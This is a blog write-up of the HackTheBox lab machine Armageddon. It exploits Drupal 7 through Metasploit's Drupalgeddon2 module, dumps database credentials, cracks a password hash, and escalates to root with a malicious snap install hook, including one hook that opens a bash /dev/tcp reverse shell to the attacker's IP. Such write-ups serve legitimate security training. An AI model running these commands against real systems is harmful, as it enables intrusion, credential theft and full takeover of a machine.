Dear readers,
Today’s post is on Armageddon, a GNU/Linux easy machine on HackTheBox. It was created on 28th March 2021. This challenge tests on find CVE vulnerability on a website, pivoting from apache user from web shell to local user by getting information from MySQL using MySQL one-liner, cracking the hash, and privilege escalation through knowing the existence of GTFObins. It is a pretty easy machine but it is very tedious as many steps are required to reach root privilege. Therefore, continue reading if you are interested! Let’s get started!

Tools required
Nmap analysis
For machines, we always have to do a Nmap scan to know what are the open ports and services available. Below is the result:
┌──(soulx㉿kali)-[~] └─$ sudo nmap -Pn -n -sV -v -p1-1000 10.10.10.233 [sudo] password for soulx: Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-05 11:22 +08 NSE: Loaded 45 scripts for scanning. Initiating SYN Stealth Scan at 11:22 Scanning 10.10.10.233 [1000 ports] Discovered open port 80/tcp on 10.10.10.233 Discovered open port 22/tcp on 10.10.10.233 Completed SYN Stealth Scan at 11:22, 2.08s elapsed (1000 total ports) Initiating Service scan at 11:22 Scanning 2 services on 10.10.10.233 Completed Service scan at 11:22, 6.55s elapsed (2 services on 1 host) NSE: Script scanning 10.10.10.233. Initiating NSE at 11:22 Completed NSE at 11:22, 0.64s elapsed Initiating NSE at 11:22 Completed NSE at 11:22, 0.98s elapsed Nmap scan report for 10.10.10.233 Host is up (0.15s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4 (protocol 2.0) 80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16) Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 11.63 seconds Raw packets sent: 1011 (44.484KB) | Rcvd: 1001 (40.048KB)
Based on the Nmap result, we can see that there are 2 ports available. Let’s take a look at the website since port 80 is open with HTTP service.
Outlook of the website

Search for hints in robots.txt
Previously I can tell there is probably a PHP vulnerability or some Content Management System (CMS) vulnerability since the PHP version is very old. However, I decided to look at http://10.10.10.233/robots.txt to see if there are many interesting files.
# # robots.txt # # This file is to prevent the crawling and indexing of certain parts # of your site by web crawlers and spiders run by sites like Yahoo! # and Google. By telling these "robots" where not to go on your site, # you save bandwidth and server resources. # # This file will be ignored unless it is at the root of your host: # Used: http://example.com/robots.txt # Ignored: http://example.com/site/robots.txt # # For more information about the robots.txt standard, see: # http://www.robotstxt.org/robotstxt.html User-agent: * Crawl-delay: 10 # CSS, JS, Images Allow: /misc/*.css$ Allow: /misc/*.css? Allow: /misc/*.js$ Allow: /misc/*.js? Allow: /misc/*.gif Allow: /misc/*.jpg Allow: /misc/*.jpeg Allow: /misc/*.png Allow: /modules/*.css$ Allow: /modules/*.css? Allow: /modules/*.js$ Allow: /modules/*.js? Allow: /modules/*.gif Allow: /modules/*.jpg Allow: /modules/*.jpeg Allow: /modules/*.png Allow: /profiles/*.css$ Allow: /profiles/*.css? Allow: /profiles/*.js$ Allow: /profiles/*.js? Allow: /profiles/*.gif Allow: /profiles/*.jpg Allow: /profiles/*.jpeg Allow: /profiles/*.png Allow: /themes/*.css$ Allow: /themes/*.css? Allow: /themes/*.js$ Allow: /themes/*.js? Allow: /themes/*.gif Allow: /themes/*.jpg Allow: /themes/*.jpeg Allow: /themes/*.png # Directories Disallow: /includes/ Disallow: /misc/ Disallow: /modules/ Disallow: /profiles/ Disallow: /scripts/ Disallow: /themes/ # Files Disallow: /CHANGELOG.txt Disallow: /cron.php Disallow: /INSTALL.mysql.txt Disallow: /INSTALL.pgsql.txt Disallow: /INSTALL.sqlite.txt Disallow: /install.php Disallow: /INSTALL.txt Disallow: /LICENSE.txt Disallow: /MAINTAINERS.txt Disallow: /update.php Disallow: /UPGRADE.txt Disallow: /xmlrpc.php # Paths (clean URLs) Disallow: /admin/ Disallow: /comment/reply/ Disallow: /filter/tips/ Disallow: /node/add/ Disallow: /search/ Disallow: /user/register/ Disallow: /user/password/ Disallow: /user/login/ Disallow: /user/logout/ # Paths (no clean URLs) Disallow: /?q=admin/ Disallow: /?q=comment/reply/ Disallow: /?q=filter/tips/ Disallow: /?q=node/add/ Disallow: /?q=search/ Disallow: /?q=user/password/ Disallow: /?q=user/register/ Disallow: /?q=user/login/ Disallow: /?q=user/logout/
There aren’t any interesting files or I couldn’t access those pages such as http://10.10.10.233/?q=admin/ (see Fig 4b).

Checking the HTTP response header
Therefore, I decided to look at the response header in Fig 4c.

In X-Generator, we can see that it uses Drupal 7. A quick google and I could find CVE for it. Even Metasploit has an exploit and article on it. You can read Metasploit’s article here. It is a common vulnerability in Drupal such that there are many versions of the exploits which are called Drupalgeddon. This should be the correct path to access the server as the name of the exploit is similar to the name of the machine.
If you have read Metasploit’s article or any Drupalgeddon exploit on exploitdb, you will know that it checks for the CHANGELOG.txt folder to see if the Drupal version is vulnerable. I tried to test it manually and I can indeed access the log file.

Access web server using Metasploit’s Drupalgeddon exploit
Just using the search feature on msfconsole, I can immediately find the path to the Drupalgeddon exploit.
msf6 > search Drupalgeddon Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 exploit/unix/webapp/drupal_drupalgeddon2 2018-03-28 excellent Yes Drupal Drupalgeddon 2 Forms API Property Injection Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/webapp/drupal_drupalgeddon2
Next, I used the exploit which msfconsole will automatically help us choose the right payload.
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2 [*] No payload configured, defaulting to php/meterpreter/reverse_tcp
Next, I see what are the options available and set the values such as the LHOST (our own IP address seen in the ifconfig command), the target type which I chose PHP dropper, and the RHOSTS (remote hosts which is the IP address of the website we are targeting).
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > show options Module options (exploit/unix/webapp/drupal_drupalgeddon2): Name Current Setting Required Description ---- --------------- -------- ----------- DUMP_OUTPUT false no Dump payload command output PHP_FUNC passthru yes PHP function to execute Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>' RPORT 80 yes The target port (TCP) SSL false no Negotiate SSL/TLS for outgoing connections TARGETURI / yes Path to Drupal install VHOST no HTTP server virtual host Payload options (php/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.1.8 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic (PHP In-Memory) msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST 10.10.1.1 LHOST => 10.10.1.1 msf6 exploit(unix/webapp/drupal_drupalgeddon2) > show targets Exploit targets: Id Name -- ---- 0 Automatic (PHP In-Memory) 1 Automatic (PHP Dropper) 2 Automatic (Unix In-Memory) 3 Automatic (Linux Dropper) 4 Drupal 7.x (PHP In-Memory) 5 Drupal 7.x (PHP Dropper) 6 Drupal 7.x (Unix In-Memory) 7 Drupal 7.x (Linux Dropper) 8 Drupal 8.x (PHP In-Memory) 9 Drupal 8.x (PHP Dropper) 10 Drupal 8.x (Unix In-Memory) 11 Drupal 8.x (Linux Dropper) msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOSTS 10.10.10.233 RHOSTS => 10.10.10.233 msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set target 5 target => 5
Finally, we can execute the exploit after making sure all our settings are correct. Waiting for a while, we should be able to get a meterpreter shell.
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > exploit [*] Started reverse TCP handler on 10.10.1.1:4444 [*] Executing automatic check (disable AutoCheck to override) [!] The service is running, but could not be validated. [*] Sending stage (39282 bytes) to 10.10.10.233 [*] Meterpreter session 1 opened (10.10.1.1:4444 -> 10.10.10.233:33256) at 2021-07-05 12:23:04 +0800 meterpreter > meterpreter > pwd /var/www/html
Using the shell command, we can spawn a web shell that uses passthru() which is similar to exec(). Therefore, we will not have a TTY shell.
meterpreter > shell Process 1974 created. Channel 0 created. id uid=48(apache) gid=48(apache) groups=48(apache) context=system_u:system_r:httpd_t:s0
When I input id command into the empty prompt, we can see that a result is given to use. However, we are only an Apache user who does not have enough privilege to even access the /home directory.
Pivoting to local user account and getting user flag
Look for users in /etc/passwd
The next step we need to do is to pivot to a local user account. We can do that by looking at what are the local users in the server through /etc/passwd.
cat /etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin polkitd:x:999:998:User for polkitd:/:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin mysql:x:27:27:MariaDB Server:/var/lib/mysql:/sbin/nologin brucetherealadmin:x:1000:1000::/home/brucetherealadmin:/bin/bash
We can immediately see that there is a local user brucetherealadmin with a /home directory. Therefore, we need to find ways to get his password.
Access MySQL database for USER table
Looking at the current network services available using netstat, we can see that MySQL and SMTP are running on ports 3306 and 25 respectively which can only be accessed by localhost.
netstat -plnt (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN - tcp6 0 0 :::80 :::* LISTEN - tcp6 0 0 :::22 :::* LISTEN - tcp6 0 0 ::1:25 :::* LISTEN -
We are more interested in the MySQL service as that should contain the password of the user brucetherealadmin assuming he has an account to login to the Drupal CMS website in Fig 4a.
A thought process came up to me that all CMS should have a config file that stores the database’s username and website so that the backend code can access the database to read/write (CRUD) data to it whenever a user creates an account, login, or do something in the website. Just a quick google and I was able to find that the username and password are usually stored in /sites/default/settings.php.
Using the ls command, I could see the sites directory. This means we can easily access the settings.php.
ls CHANGELOG.txt COPYRIGHT.txt INSTALL.mysql.txt INSTALL.pgsql.txt INSTALL.sqlite.txt INSTALL.txt LICENSE.txt MAINTAINERS.txt README.txt UPGRADE.txt authorize.php cron.php includes index.php install.php misc modules profiles robots.txt scripts sites themes update.php web.config xmlrpc.php
Printing out the content of the settings.php, we can find the username and password to the MySQL database.
... $databases = array ( 'default' => array ( 'default' => array ( 'database' => 'drupal', 'username' => 'drupaluser', 'password' => 'CQHEy@9M*m23gBVj', 'host' => 'localhost', 'port' => '', 'driver' => 'mysql', 'prefix' => '', ), ), ); ...
Since we know the username and password, we can login into the MySQL database. However, note that Metasploit is using a web shell hence we cannot go into the MySQL console. Thus we have to use a oneliner command where we login and dump out the content of the database without going into the MySQL console. I tried to do a reverse shell from our web shell by Metasploit but as Apache user, we do not have permissions to even access bash or any of the Python and Perl libraries for outbound connection. Therefore, we can only make do with what we have.
mysql -u drupaluser -p --password=CQHEy@9M*m23gBVj -s -r -e "select * from information_schema.tables"
...
def drupal users BASE TABLE InnoDB 10 Compact 2 8192 16384 0 81920 8388608 NULL 2020-12-03 12:32:37 NULL NULL utf8_general_ci NULL Stores user data.
...
We can use the command shown above in yellow font to login into MySQL and execute SQL query in one line to dump all the tables available in the database. There were a lot of tables of different database schema shown to us. I filtered out everything and show the only table we are interested in which is the users table from drupal database. This should contain the login credentials of the user brucetherealadmin.
mysql -u drupaluser -p --password=CQHEy@9M*m23gBVj -s -e "use drupal; select * from users" 0 NULL 0 0 0 0 NULL 0 NULL 1 brucetherealadmin $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt admin@armageddon.eu filtered_html 1606998756 1625459427 1625459427 1 Europe/London 0 admin@armageddon.eu a:1:{s:7:"overlay";i:1;} 3 admin $S$DJKOcnMpLMpldjq0JOhZj2n5Wq7gZDv0BRHjXbIX.sLW4ZW0spg9 admin@admin.com filtered_html 1625467042 0 0 0 Europe/London 0 admin@admin.com NULL filtered_html 1606998756 1625459427 1625459427 1 Europe/London 0 admin@armageddon.eu a:1:{s:7:"overlay";i:1;}
Crack Drupal7 hash with Hashcat
Based on the output above where we dump everything from the users table using SQL query, we can see the password hash of the user brucetherealadmin. As the password hash starts with “$S$”, this means it is a Drupal 7 hash. Just a quick google of Hashcat’s help command, we can see the type ID for Drupal hash which is 7900 here. We can put the hash in a file called “hash.hash”
┌──(soulx㉿kali)-[~/…/CTF/HackTheBox/Machines/Armageddon] └─$ hashcat -m 7900 ./passwd_hash.hash /usr/share/wordlists/rockyou.txt 127 ⨯ hashcat (v6.1.1) starting... OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project] ============================================================================================================================= * Device #1: pthread-Intel(R) Core(TM) i7-8750H CPU @ 2.20GHz, 3185/3249 MB (1024 MB allocatable), 1MCU Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256 Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 1 Applicable optimizers applied: * Zero-Byte * Single-Hash * Single-Salt * Uses-64-Bit * (null) Watchdog: Hardware monitoring interface not found on your system. Watchdog: Temperature abort trigger disabled. Host memory required for this attack: 64 MB Dictionary cache built: * Filename..: /usr/share/wordlists/rockyou.txt * Passwords.: 14344392 * Bytes.....: 139921507 * Keyspace..: 14344385 * Runtime...: 2 secs $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt:booboo Session..........: hashcat Status...........: Cracked Hash.Name........: Drupal7 Hash.Target......: $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt Time.Started.....: Mon Jul 5 15:39:15 2021 (5 secs) Time.Estimated...: Mon Jul 5 15:39:20 2021 (0 secs) Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 54 H/s (12.27ms) @ Accel:32 Loops:1024 Thr:1 Vec:4 Recovered........: 1/1 (100.00%) Digests Progress.........: 256/14344385 (0.00%) Rejected.........: 0/256 (0.00%) Restore.Point....: 224/14344385 (0.00%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:31744-32768 Candidates.#1....: tiffany -> freedom Started: Mon Jul 5 15:37:13 2021 Stopped: Mon Jul 5 15:39:21 2021
We can see that the password is booboo. This allows us to use SSH to login as brucetherealadmin using that password and thus getting the user flag.
┌──(soulx㉿kali)-[~/…/CTF/HackTheBox/Machines/Armageddon] └─$ ssh brucetherealadmin@10.10.10.233 brucetherealadmin@10.10.10.233's password: Last login: Mon Jul 5 08:45:00 2021 from 10.10.14.78 [brucetherealadmin@armageddon ~]$ [brucetherealadmin@armageddon ~]$ ls user.txt [brucetherealadmin@armageddon ~]$ cat user.txt bc3***************************** [brucetherealadmin@armageddon ~]$
Privilege escalation and getting root flag
As usual, the 1st step is to see what root commands/tools the current user have access to.
[brucetherealadmin@armageddon ~]$ sudo -l Matching Defaults entries for brucetherealadmin on armageddon: !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin User brucetherealadmin may run the following commands on armageddon: (root) NOPASSWD: /usr/bin/snap install * [brucetherealadmin@armageddon ~]$
It seems like we can run /usr/bin/snap install *. It is a binary file hence we can’t read the source code of snap. However, a quick google and we will know it is a kind of package manager.
I tried to see if snap is a GTFObin and it really is. You can take a look at it here. They already provide the guide to escalate privilege hence it should be simple for us to modify the code to do what we want. But firstly, let’s try to follow the steps to see if it works.
Let’s first create a snap exploit file on our local machine by copying and pasting the command below into the terminal.
COMMAND=id cd $(mktemp -d) mkdir -p meta/hooks printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install chmod +x meta/hooks/install fpm -n xxxx -s dir -t snap -a all meta
It should create xxxx_1.0_all.snap file. We can then upload it into the server into brucetherealadmin‘s account using scp.
┌──(soulx㉿kali)-[/tmp/tmp.BnqQ2HqdIF] └─$ scp ./xxxx_1.0_all.snap brucetherealadmin@10.10.10.233:. brucetherealadmin@10.10.10.233's password: xxxx_1.0_all.snap
Once we uploaded it, we can then execute /usr/bin/snap install on brucetherealadmin‘s account.
[brucetherealadmin@armageddon ~]$ sudo snap install ./xxxx_1.0_all.snap --dangerous --devmode error: cannot perform the following tasks: - Run install hook of "exploit" snap if present (run hook "install": uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_t:s0) [brucetherealadmin@armageddon ~]$
We can immediately see that it works as the id command was executed and it shows that we are running the command as the root user. I have made the important result in the blue font shown above.
Finally, we can obtain the root flag by changing the command to print out the root flag located at /root/root.txt using the command “cat /root/root.txt“.
┌──(soulx㉿kali)-[/tmp/tmp.BnqQ2HqdIF] └─$ COMMAND=cat\ /root/root.txt ┌──(soulx㉿kali)-[/tmp/tmp.BnqQ2HqdIF] └─$ cd $(mktemp -d) mkdir -p meta/hooks printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install chmod +x meta/hooks/install fpm -n xxxx -s dir -t snap -a all meta Created package {:path=>"xxxx_1.0_all.snap"} ┌──(soulx㉿kali)-[/tmp/tmp.BnqQ2HqdIF] └─$ scp ./xxxx_1.0_all.snap brucetherealadmin@10.10.10.233:. brucetherealadmin@10.10.10.233's password: xxxx_1.0_all.snap
We can now install it and obtain the root flag.
[brucetherealadmin@armageddon ~]$ sudo snap install xxxx_1.0_all.snap --dangerous --devmode error: cannot perform the following tasks: - Run install hook of "xxxx" snap if present (run hook "install": be9*****************************)
Alternate solution using reverse shell
Some people will not prefer the method I mentioned above using a shortcut to obtain the root flag. They will prefer to get a root shell 1st. Therefore, you can change the command below that will make a reverse TCP connection using a bash that will attempt to connect to your local machine. I used Netcat to listen to port 7337.
┌──(soulx㉿kali)-[~] └─$ mkdir -p ./meta/hooks printf '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/10.10.1.1/7337 0>&1"\n' > ./meta/hooks/install chmod a+x ./meta/hooks/install fpm -n revshell -s dir -t snap -a all ./meta ┌──(soulx㉿kali)-[/tmp/tmp.BnqQ2HqdIA] └─$ scp ./revshell_1.0_all.snap brucetherealadmin@10.10.10.233:. brucetherealadmin@10.10.10.233's password: revshell_1.0_all.snap
Next, open another terminal and run a Netcat to listen to the port you have specified. I used port 7337.
┌──(soulx㉿kali)-[~] └─$ nc -lvnp 7337 listening on [any] 7337 ...
Execute the snap file on brucetherealadmin‘s account.
[brucetherealadmin@armageddon ~]$ sudo snap install ./revshell_1.0_all.snap --dangerous --devmode
Check your Netcat, you should have received an incoming connection and obtained an interactive reverse bash shell. You can then obtain the root flag from there.
┌──(soulx㉿kali)-[~] └─$ nc -lvnp 7337 listening on [any] 7337 ... connect to [10.10.1.1] from (UNKNOWN) [10.10.10.233] 36258 bash: cannot set terminal process group (4899): Inappropriate ioctl for device bash: no job control in this shell bash-4.3# bash-4.3# ls /root ls /root anaconda-ks.cfg cleanup.sh passwd reset.sh root.txt snap bash-4.3# cat /root/root.txt cat /root/root.txt be9***************************** bash-4.3#
I hope these tabs have been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. 🙂